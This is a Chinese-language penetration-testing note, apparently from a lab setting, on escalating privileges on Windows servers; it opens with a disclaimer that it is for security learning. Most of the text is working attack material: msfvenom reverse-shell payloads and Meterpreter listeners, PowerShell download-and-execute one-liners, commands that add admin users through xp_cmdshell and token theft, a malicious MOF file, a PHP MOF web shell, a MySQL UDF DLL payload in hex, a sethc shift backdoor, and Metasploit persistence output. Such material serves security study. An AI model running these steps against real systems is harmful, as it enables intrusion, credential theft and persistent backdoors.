郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
前提:已经登录到目标系统的服务器上,但是得到的是一个低权限用户,进行提权,最终达到全面控制目标系统
user-->administrator-->system(他们的权限之间是有交集,不是完全包含,user 被 administrator 包含)
当获得 user 提权为 administrator
当获得 administrator 提权为system
生成个木马
msfvenom -a x86 --platform windows -p windows/x86/shell/reverse_tcp LHOST=192.168.0.2 -b '\x00' -f exe -o evil.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.2 lport=4444 -a x64 -f exe > Desktop/evil.exe
确认当前系统权限
whoami /groups
:
查找当前系统安装过的补丁
AonCyberLabs/Windows-Exploit-Suggester: This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins. (github.com)
SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合 (github.com)
利用前提:
# 安装 xlrd 库
pip2 install xlrd --upgrade
# update the database
./windows-exploit-suggester.py -u
# 导出靶机系统信息到本地
systeminfo > systeminfo.txt
# 查找可以利用的漏洞
./windows-exploit-suggester.py --database 2021-07-18-mssb.xls --systeminfo systeminfo.txt
# 查找可以利用本地提权的漏洞
./windows-exploit-suggester.py -a -l --database 2021-07-18-mssb.xls --systeminfo systeminfo.txt
# 如果没有打补丁,就会显示可以利用的 ms 编号、 exp 的地址和描述
rasta-mouse/Sherlock: PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities. (github.com)
import-module .\Sherlock.ps1
Find-AllVulns
post/multi/recon/local_exploit_suggester
# 下载到本地后执行
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Invoke-AllChecks”
# 远程下载执行
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"
如图说了利用Install-ServiceBinary模块,通过Write-ServiceBinary编写一个c#服务来添加一个用户
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('./PowerUp.ps1');Install-ServiceBinary -ServiceName 'rpcapd' -UserName test -Password test
“Everyone” 用户对这个文件有完全控制权,就是说所有用户都具有全部权限修改这个文件夹。
MSF 中对应的模块为: exploit/windows/local/service_permissions
。
注册表键 AlwaysInstallElevated 是一个策略设置项。Windows 允许低权限用户以 System 权限运行安装文件。如果启用此策略设置项,那么任何权限用户都能以 NT AUTHORITY\SYSTEM 权限来安装恶意的 MSI(Microsoft Windows Installer) 文件。
# 开启 AlwaysInstallElevated 功能
打开 gpedit.msc,组策略-计算机配置-管理模板-Windows 组件-Windows Installer-永远以高特权进行安装:选择启用
打开 gpedit.msc,组策略-用户配置-管理模板-Windows 组件-Windows Installer-永远以高特权进行安装:选择启用
# CMD 下开启 AlwaysInstallElevated 功能
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Get-RegAlwaysInstallElevated”
exploit/windows/local/always_install_elevated
。windows服务通常都是以 System 权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以系统权限进行解析。如果一个被恶意命名的执行程序被上传到受影响的目录中,服务一旦重启,就有机会进行权限提升为 System 权限。
例如,有如下的文件路径:
C:\Program Files\Some Folder\Service.exe
对于上面文件路径中的每一个空格,windows 都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
检测目标机器是否存在可信服务路径漏洞
# 使用 wmic 列出没有被引号所引起来的服务路径
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
检查存在漏洞的目录是否有写入的权限
利用 Windows内建工具:icacls,下面我们用这个工具依次来检查“C:\Program Files”、“C:\Program Files\Common Files”、“C:\Program Files\Common Files\microsoftshared”等目录的权限。
参数说明:
“Everyone”用户对这个文件有完全控制权,就是说所有用户都具有全部权限修改这个文件夹。
“M”表示修改
“F”代表完全控制
“CI”代表从属容器将继承访问控制项
“OI”代表从属文件将继承访问控制项。
Everyone:(OI)(CI)(F)意味着对该目录有读,写,删除其下的文件,删除其子目录的权限。
利用漏洞:将要上传的程序重命名并放置在存在此漏洞且可写的目录下,并尝试重启服务进行提权。
MSF 对应模块:exploit/windows/local/unquoted_service_path
。
网络管理员在内网中给多台计算器配置同一个环境时,通常会使用脚本化批量部署的方法,这个过程就会使用安装配置文件。这些文件中包含的安装配置信息,其中还可以包含管理员账号密码等。
# 搜索Unattend.xml文件
dir /b /s c:\Unattend.xml
# MSF 中对应模块
post/windows/gather/enum_unattend
SYSVOL 是活动目录里面的一个用于存储公共文件服务副本的共享文件夹,在域中的所有域控制器之间进行复制。SYSVOL 文件夹是在安装活动目录时自动创建的,主要用来存放登录脚本、组策略数据及其他域控制器需要的域信息等。SYSVOL 在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录的域范围内共享。整个 SYSVO L目录在所有的域控制器中是自动同步和共享的,所有的域策略均存放在 C:\Windows\SYSVOL\DOMAIN\Policies
目录中。
常见的组策略首选项(GPP)
组策略管理-林:test.lab-域-test.lab-右键:Default Domain Policy
组策略编辑器-计算机配置-首选项-控制面板设置-本地用户和组
本地用户和组-右键:新建-本地用户-配置如下图
将 Domain Computer 组添加到验证组策略对象列表中,将新建的组策略应用到域中所有的非域控制器中
手动更新组策略的更新信息
C:\Users\administrator>gpupdate
管理员在域中新建一个组策略后,操作系统会自动在SYSVOL共享目录中生成一个XML文件,该文件中保存了该组策略更新后的密码。该密码使用了AES-256加密算法,安全性比较高。但是微软在网站上公布过这个算法的私钥,任何域用户和域信任的用户均可对该共享目标进行访问,任何用户都可以访问保存在XML文件中的密码并将其解密,从而控制域中所有使用该账户/密码的本地管理员计算机。
# 手动查找 cpassword
\\test.lab\SYSVOL\test.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups
python Gpprefdecrypt.py A48HwlVXS/3M2Asazld/dz+ATwKowJVcVhIM67sfhO8
# PowerSploit
Import-Module .\PowerSploit.psd1
Get-GPPPassword
# MSF
利用 post/windows/gather/credentials/gpp 模块进行自动查找
# 其他组策略首选项中可选的 cpassword 属性
Services\Services.xml
ScheduledTasks\ScheduledTasks.xml
Printers\Printers.xml
Drives\Drives.xml
DataSources\DataSources.xml
# 通过不停的弹出UAC窗口,让没有安全意识的人选择yes。
use exploit/windows/local/ask
set filename update.exe
set session 1
# 在用户不知情的情况下关闭 UAC
use exploit/windows/local/bypassuac
# bypassuac_injection
use exploit/windows/local/bypassuac_injection
set target 1
set payload windows/x64/meterpreter/reverse_tcp
# 64 位的只能用 64 位的 payload,使用 86 的会报错
[-] Exploit aborted due to failure: bad-config: x86 Target Selected for x64 System
令牌(Token) 就是系统的临时密钥,相当于账号和密码,用于决定是否允许这次请求及判断当前请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源。这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性和不可预测性,一般的攻击无法将令牌猜测出来。tokens 攻击的核心是 Kerberos 协议。
客户端请求证书的过程如下所示。
tokens 攻击需要拥有目标主机的 getsystem 权限,本地普通权限用户需要先取得本地权限
加载模块,并查看当前主机中的 tokens
load incognito
list_tokens -u
域管理员没有登陆目标设备时
通过域控制器访问共享目录,创建一个Token:\\192.168.10.22\C$
窃取 Token: impersonate_token LAB\\administrator
使用 LAB\administrator 用户开启 CMD:execute -f cmd.exe -i -t
(-i,直接进入cmd,执行交互; -t:使用当前假冒tokens执行程序)
添加域管理员
net user admin1 Admin123 /ad /domain
net group "domain admins" admin1 /ad /domain
在渗透测试中 ,我们获取的权限是 iis_user 用户组 ,要更高的权限就需要把当前的用户提权到系统用户或超级管理员用户组。更高的权限方便我们在后续的渗透中,扩大范围测试。
Windows 中 权限大小为:aspx->php=>asp
利用 F4ck 的 pe.asp 进行 Windws 溢出提权
webshell.asp,密码:F4ck
访问webshell.asp,上传 cmd.exe 到可执行目录下如:C:\RECYCLER\
测试执行 cmd 命令
上传溢出 EXP 到可执行目录:IIS6.0-pe-exp.exe(注意 IIS 中默认文件上传大小不能超过 200k,超过要以其他方式进行上传。)
利用 EXP 提权:
C:\RECYCLER\IIS6.0-pe-exp.exe "net user test 123456 /add & net localgroup administrators test /add"
webshell.aspx,密码:admin
访问 webshell.aspx,点击 Cmd Shell, 测试执行系统命令
当拥有更大的权限时,还可以点击 IIS Spy 查看 IIS_USER 与 IIS_PASS
上传 EXP 文件到可执行目录::IIS6.0-pe-exp.exe
利用 EXP 提权:
/c c:/recycler/IIS6.0-pe-exp.exe whoami
webshell.aspx,密码:admin
访问 webshell.aspx,点击 Cmd Shell, 查看当前系统与所对应的权限
whoami
systeminfo
在 File Manager 中上传 EXP 文件到可执行目录::CVE-2014-4113-Exploit
可以通过访问上传 getexecutedir.aspx 文件,查找可执行目录
c:\inetpub\wwwroot\pe.lab.com
利用 EXP 提权:
在 CmdShell 标签中执行
/c c:\inetpub\wwwroot\target_sys.com\Win64.exe whoami
如果网站里面使用的数据库是 sqlserver,那么如果找到 sa 的密码,利用提权脚本,执行命令。
注:获得的可能是普通用户权限,此时还需要配合其他方式如:溢出 exp 进行提权。
webshell.aspx,密码:admin
server=localhost,1433;UID=sa;PWD=123456;database=master
# 命令执行示例:
# xp_cmdshell
Exec master.dbo.xp_cmdshell 'whoami'
Exec master.dbo.xp_cmdshell 'net user test 123456 /add & net localgroup administrators test /add'
Exec master.dbo.xp_cmdshell 'systeminfo'
# sp_oacreate
Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
可以得知当前权限为 network service 普通用户,拥有基础命令操作,可以配合溢出提权进行提权操作。
Windows 的资源共享机制,即操作系统加载程序首先从应用程序目录中加载模块特性,在注册表中也有体现:
以劫持 LPK.DLL 文件为例:通过编程来实现一个 LPK.DLL 文件,它与系统目录下的 LPK.DLL 导出表相同,并能加载系统目录下的 LPK.DLL ,并且能将导出表转发到真实的 LPK.DLL 。可以看出我们要实现的这个 DLL 需求如下:
1、构造一个与系统目录下 LPK.DLL 一样的导出表;
2、加载系统目录下的 LPK.DLL;
3、将导出函数转发到系统目录下的 LPK.DLL 上;
4、在初始化函数中加入我们要执行的代码。
利用工具:T00ls Lpk Sethc v4
将 LPK.DLL 模块放到开机启动的程序目录下(该程序需要调用 LPK.DLL 模块),当用户重启设备时,可劫持 LPK.DLL 模块。
托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。在 MOF 文件中创建类实例和类定义后,可以对该文件进行编译。编译 MOF 文件将在 CIM 储存库中注册所有的类定义和实例。之后,提供程序、事件类别和事件信息便可由 WMI 和 Visual Studio Analyzer 使用。
MOF 是 Windows 系统的一个文件(在 C:/windows/system32/wbem/mof/nullevt.mof
)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。拥有了 MySQL 的 root 权限后,将改写的 mof 文件上传,这个文件会被服务器每隔 5 秒以 system 权限执行。这个改写的 mof 有一段是 vbs 脚本,这个 vbs 大多数是 cmd 的添加管理员用户的命令。
需要 mysql 对 C:/windows/system32/wbem/mof
文件夹具有写的权限。
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test 123456 /add && net localgroup administrators test /add \")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
上传 evil.mof 到可执行目录
C:\Documents and Settings\All Users\Application Data\evil.mof
使用 sql 语句将系统当中默认的 nullevt.mof 给替换掉。进而让系统执行我们这个恶意的 mof 文件。
select load_file('C:\Documents and Settings\All Users\Application Data\evil.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
等待系统执行恶意的 mof 文件后,可以看到系统创建了 test 用户,权限为 administrators 组
上传以下文件并访问 mof.php 文件
$path="c:/ini.txt";
session_start();
if(!empty($_POST['submit'])){
setcookie("connect");
setcookie("connect[host]",$_POST['host']);
setcookie("connect[user]",$_POST['user']);
setcookie("connect[pass]",$_POST['pass']);
setcookie("connect[dbname]",$_POST['dbname']);
echo "";
}
if(empty($_GET["action"])){
?>
<html>
<head><title>Win MOF Shell</title></head>
<body>
<form action="?action=connect" method="post">
Host:
<input type="text" name="host" value="192.168.1.123:3306"><br/>
User:
<input type="text" name="user" value="root"><br/>
Pass:
<input type="password" name="pass" value="toor"><br/>
DB:
<input type="text" name="dbname" value="mysql"><br/>
<input type="submit" name="submit" value="Submit"><br/>
</form>
</body>
</html>
<?php
exit;
}
if ($_GET[action]=='connect')
{
$conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"]) or die(''
.mysql_error().'
');
echo ";
echo "Cmd:";
echo "";
echo "'.mysql_error().''); $sql2="select load_file(\"".$path."\");"; $result2=mysql_query($sql2); $num=mysql_num_rows($result2); while ($row = mysql_fetch_array($result2, MYSQL_NUM)) { echo "
'. $row[0].''; } mysql_close($conn); } } ?>
以 root 用户登陆,执行以下语句:
net.exe user test 123456 /add && net localgroup administrators test /add
MySQL UDF提权执行系统命令_谢公子的博客-CSDN博客_udf提权
UDF (user defined function),即用户自定义函数。根据MySQL函数族的可扩展机制,意味着用户可以自己建立包含有自定义函数的动态库来创建自定义函数。
原理:通过自定义库函数来实现执行任意的程序
前提: 在 mysql 库下必须有 func 表,并且在 ‑‑skip‑grant‑tables
开启的情况下,UDF 会被禁止;
利用途径: 通过获得的插件库路径,找对应操作系统的 udf 库文件,利用 udf 库文件加载函数并执行命令
# 查看 secure_file_priv 的值
show global variables like 'secure%';
`secure_file_priv` 参数的值不能动态更改,只能在 Mysql 的配置文件中修改,重启生效。
- NULL :默认,表示限制 Mysql 不允许导入导出。
- /dir/ :表示限制 Mysql 的导入|导出只能发生在 /dir/ 目录下
- 空值:表示不限制 Mysql 的导入|导出
# 若没有权限导出时报错如下:
# 需要在my.ini 的 [mysqld] 下添加:secure-file-priv=
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
# 没有 plugin 文件夹时报错如下:
# 当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
# 当 MySQL> 5.1 版本时,将 .dll 文件导入到 C:\phpStudy\PHPTutorial\MySQL\lib\plugin\udf.dll 目录下 (lib\plugin目录默认不存在,需自行创建)。
Can't create/write to file 'C:\phpStudy\PHPTutorial\MySQL\lib\plugin\moonudf.dll' (Errcode: 2)
# 获取插件库路径
mysql> show variables like "%plugin%";
# 查看系统构架
mysql> show variables like "%compile%";
# 找对应操作系统的 payload 库文件
可以去 kali 中/usr/share/metasploit-framework/data/exploits/mysql/ 下载对应的文件
# 将dll文件写入 plugin 目录,并且创建函数
创建一个表并将二进制数据插入到十六进制编码流中。可以通过insert语句或将其分解为多个部分,然后使用 update 语句拼接二进制数据。
create table temp(data longblob);
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
select data from temp into dumpfile "C:\phpStudy\PHPTutorial\MySQL\lib\plugin\udf.dll";
# 创建函数 sys_eval
# 引入的函数是 sys_eval
# shared_library_name(共享包名称): udf.dll
create function sys_eval returns string soname 'udf.dll';
#查看创建的sys_eval函数
select * from mysql.func where name = 'sys_eval';
# 使用系统命令
# 将 udf.dll 文件写入 plugin 目录后,便可以使用 sys_eval 函数
select sys_eval('whoami');
测试 php 版本 5.2.17
Zend是 php 的引擎(虚拟机解释器)实现先编译再执行。安装 Zend 后,Zend 会自动配置目录权限,当C:\Program Files\Zend\ZendOptimizer-3.3.3\
下的目录权限为 Everyone 全权,这导致入侵者能写入文件。如果 ZendExtensionManager.dll 权限可以修改,那就可以用其他恶意的 dll 文件替换 ZendExtensionManager.dll 文件。
当 iis6.0 在启动、回收进程重启启动的时,有人访问网站的时候就会加载 ZendExtensionManager.dll 文件
ZendExtensionManager.dll
文件目录上传查询目录读写信息的脚本文件,并访问该页面进行查询,确认靶机 ZendExtensionManager.dll
文件与目录具有可读可写权限
https://dwd.jb51.net/201111/yuanma/asp_rw_cx.rar
利用工具:Zend_DLL_Hijacking_for_nc.exe、cmd.exe、nc.exe
ZendExtensionManager.dll
文件目录上传查询目录读写信息的脚本文件,并访问该页面进行查询,确认靶机 ZendExtensionManager.dll
文件与目录具有可读可写权限
https://dwd.jb51.net/201111/yuanma/asp_rw_cx.rar
利用工具:Zend_DLL_Hijacking.exe、bak.exe(恶意软件)
# 制作后门软件,
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.100.128 lport=9999 -f exe > bak.exe
# 本地监听端口
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.100.128
set lport 9999
run
FileZilla 是一款开源的 FTP 服务器和客户端软件,若安装了服务器端默认侦听 127.0.0.1:14147
,默认安装目录下有两个敏感文件 FileZilla Server Interface.xml、FileZilla Server.xml
FileZilla Server Interface.xml、FileZilla Server.xml
文件,获得管理员密码;C:\
C:\windows\system32\sethc.exe
生成 shift 后门通过 webshell 查找 FileZilla Server Interface.xml、FileZilla Server.xml
文件,一般在目录 C:\Program Files\FileZilla Server\
中。
查看敏感信息:从以下图片中可以看出,密码为:123456,FileZilla 侦听的地址为:127.0.0.1:14147
利用工具:lcx 端口转发工具
由于 FileZilla 使用的是本地的 14147 端口,我们需要利用 lcx.exe 配置端口转发将本地的 14147 端口转发到 14148 端口
通过 webshell 将 lcx.exe 上传到可执行目录下。
通过 webshell 执行以下命令,配置端口转发。
lcx.exe -tran 14148 127.0.0.1 14147
远程管理 ftpserver,下载 FileZilla 并远程登录靶机 ftpserver
在2003系统中,FileZilla 服务器是以系统权限启动的,可以修改默认的位置为 C 盘根目录
使用创建的 ftp user 登录到靶机
通过 ftp 客户端,将 cmd.exe 改名为 sethc.exe,并替换靶机的 C:\windows\system32\sethc.exe
生成 shift 后门
mstsc 连接 3389 按 5 次 shift 调出 cmd.exe
metasploit 提权EXP 存储文件夹路径 /usr/share/metasploit-framework/modules/exploits/windows/local
/
ms14_058 内核模式驱动程序中的漏洞可能允许远程执行代码
exploit/windows/local/ms14_058_track_popup_menu
ms16_016 WebDAV本地提权漏洞(CVE-2016-0051)
exploit/windows/local/ms16_016_webdav
ms16_032 MS16-032 Secondary Logon Handle 本地提权漏漏洞
exploit/windows/local/ms16_032_secondary_logon_handle_privesc
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.100.128 lport=8888 -f exe > 8888.exe
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.100.128
set lport 8888
exploit/run
将生成的 Payload 通过 Webshell 上传到靶机的可执行目录中
通过 cmdshell 运行 payload,获得一个 NT AUTHORITY\NETWORK SERVICE
用户权限
System Commands
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process 尽可能提升权限
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as 查看当前用户
kill Terminate a process
localtime Displays the target system local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes 列出进程
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS 查看系统信息
migrate Migrate the server to another process 注入进程
getsystem Attempt to elevate your privilege to that of local system. 通过各种攻击向量来提升本地系统权限
由以下信息可知,提权失败
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: This function is not supported on this system. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
use exploit/windows/local/ms14_058_track_popup_menu
set session 3
msf6 exploit(windows/local/ms14_058_track_popup_menu) > run
[*] Started reverse TCP handler on 192.168.100.128:4444
[*] Launching notepad to host the exploit...
[+] Process 2388 launched.
[*] Reflectively injecting the exploit DLL into 2388...
[*] Injecting exploit into 2388...
[*] Sending stage (175174 bytes) to 192.168.100.131
[*] Exploit injected. Injecting payload into 2388...
[*] Payload injected. Executing exploit...
[*] Sending stage (175174 bytes) to 192.168.100.131
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 4 opened (192.168.100.128:4444 -> 192.168.100.131:1105) at 2021-07-18 11:30:50 +0800
[*] Meterpreter session 5 opened (192.168.100.128:4444 -> 192.168.100.131:1107) at 2021-07-18 11:30:51 +0800
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
# 提权成功
防止目标关闭 8888.exe 程序,最好将进程进行迁移
# 通过 ps 命令获取靶机的进程
ps
# 防止目标关闭 8888.exe 程序,将进程进行迁移,如迁移至 explorer.exe
meterpreter > migrate 2916
[*] Migrating from 192 to 2916...
[*] Migration completed successfully.
也可以在设置提权 exp 时,设置自动脚本进行自动迁移
set autorunscript migrate -n explorer.exe
内网渗透----常见后门_浅笑996的博客-CSDN博客
net user test 123456 /add && net localground administrators test /add
# 在 kali 里面链接远程终端
rdesktop 192.168.100.131
use exploit/windows/local/persistence
set session 6
# session 6 为已获得最高权限的 session
set delay 30
set lhost 192.168.100.128
set lport 88888
msf6 exploit(windows/local/persistence) >
[*] Running persistent module against WINDOES-TARGET01 via session ID: 6
[!] Note: Current user is SYSTEM & STARTUP == USER. This user may not login often!
[+] Persistent VBS script written on WINDOES-TARGET01 to C:\WINDOWS\TEMP\bvifQmDbl.vbs
[*] Installing as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AZkTNi
[+] Installed autorun on WINDOES-TARGET01 as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AZkTNi
[*] Clean up Meterpreter RC file: /root/.msf4/logs/persistence/WINDOES-TARGET01_20210718.0646/WINDOES-TARGET01_20210718.0646.rc